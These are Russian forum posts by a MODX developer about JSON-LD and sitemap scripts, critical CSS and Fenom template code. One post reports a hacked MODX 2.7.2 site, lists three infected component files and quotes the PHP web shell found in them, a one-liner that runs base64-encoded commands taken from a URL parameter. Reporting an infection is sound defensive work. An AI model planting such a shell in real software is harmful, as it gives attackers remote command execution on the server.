Дмитрий Середюк

Дмитрий Середюк

Был в сети 23 июня 2026, 17:57
Заказы принимаю
У себя на проекте использую CLI скрипт в котором выставляется базовая категория, после запуска в указанной категории

define('JSON_DIR', MODX_BASE_PATH . 'assets/jsonld/');

Появляется статичный файл LD разметки карточек товара.

После чего при помощи сниппета подгружаю нужную разметку в зависимости от категории. Сниппет так же в комплекте по ссылке выше.
Я сделал вот такой скрипт, который можно повесить на cron или запускать вручную при необходимости. Суть в том, что он проходит по всему сайту, генерирует файлы карты сайта (sitemap), при желании позволяет задать лимит ссылок для каждой карты, а затем объединяет их все в один статичный файл.
Запускайте, пробуйте — если возникнут вопросы, пишите.
А примерно понял что имели ввиду, можно сделать как то так

<!-- above-the-fold:start -->
    <header class="site-header">
        <div class="logo-wrapper">
            <img src="logo.svg" alt="Логотип" class="logo">
        </div>
        <nav class="main-nav">
            <a href="#" class="nav-link active">Главная</a>
            <a href="#" class="nav-link">Контакты</a>
        </nav>
    </header>

    <section class="hero-slider js-slider">
        <div class="slide">Слайд 1</div>
        <div class="slide">Слайд 2</div>
    </section>
<!-- above-the-fold:end -->

Обрамляем нужные элементы маркерами

Далее парсим всем классы, индификаторы, теги. Ищем их в файле стилей и формируем.
Но есть конечно же нюансы если к примеру используется какие либо js библиотеки по типу того же swiper slider которые после рендора внедряют свои классы элементам то это не сработает, в общем нужно обмозговать это дело, возможно что то и выкачу позже.
Не совсем понимаю что имеете ввиду, но у себя я делаю так
Использую migx в админке выглядит вот
так
и на каждую секцию генерирую свой css
Далее в head прохожусь только по текущим секциям страницы собираю объект path, который в свою очередь передаю в MinifyX

{set $rows = json_decode($_modx->resource.id | resource : 'multiMigx', true)}
{if $rows}
    {set $arrDouble=[]}
    {set $path=[]}
    {foreach $rows as $row}
      {if $row.MIGX_formname | in : $arrDouble}{continue}{/if}
      {set $arrDouble[] = $row.MIGX_formname}
      {if $row.MIGX_formname != 'default' && $row.MIGX_formname != 'code'}
        {set $path[] = ('project_path' | config)~'css/modules/'~$row.MIGX_formname~'.min.css'}
      {/if}
    {/foreach}
{/if}

{'!MinifyX' | snippet : [
    'minifyCss' => 1,
    'cssSources' => ($path | join : ','),
]}

Для страниц где не используется migx просто добавляю по условию на нужные страницы

{if $_modx->resource.id === 245}
    {set $path=[
      ('project_path' | config)~'css/modules/cart.min.css',
      ('project_path' | config)~'css/modules/order.min.css',
    ]}
{/if}

В общем суть я думаю ясна
Заметил данный пост, и не я один такой)) Сайт отрубали, пришлось скачивать его на локалку, прогонять через утилиту — ai-bolit.
Сайт был версии 2.7.2
Зараженные директории:
  1. assets/components/formit/js/mgr/widgets/migrate.panel.php
  2. assets/components/migx/js/mgr/widgets/grids/migxgallery.grid.php
  3. assets/components/pdotools/js/pdopage.min.php
Сам код во всех файлах одинаковый
<?php system(base64_decode($_GET['t']))
Ну и да как уже выше писали на уровень выше корня сайта были созданы директории:
.local, .config — в которых и была пакасть.
Компоненты обновил, систему обновил, дрянь удалил.
3й День пока все ок
Доброго времени, какие то зависимости у компонента есть?, мин версия modx? Установил на один сайт словил 500, хотел просто посмотреть javascript
Подумал что дело в плагине, отрубил его через БД не помогло по прежднему белый 500, запустил откат базы и файлов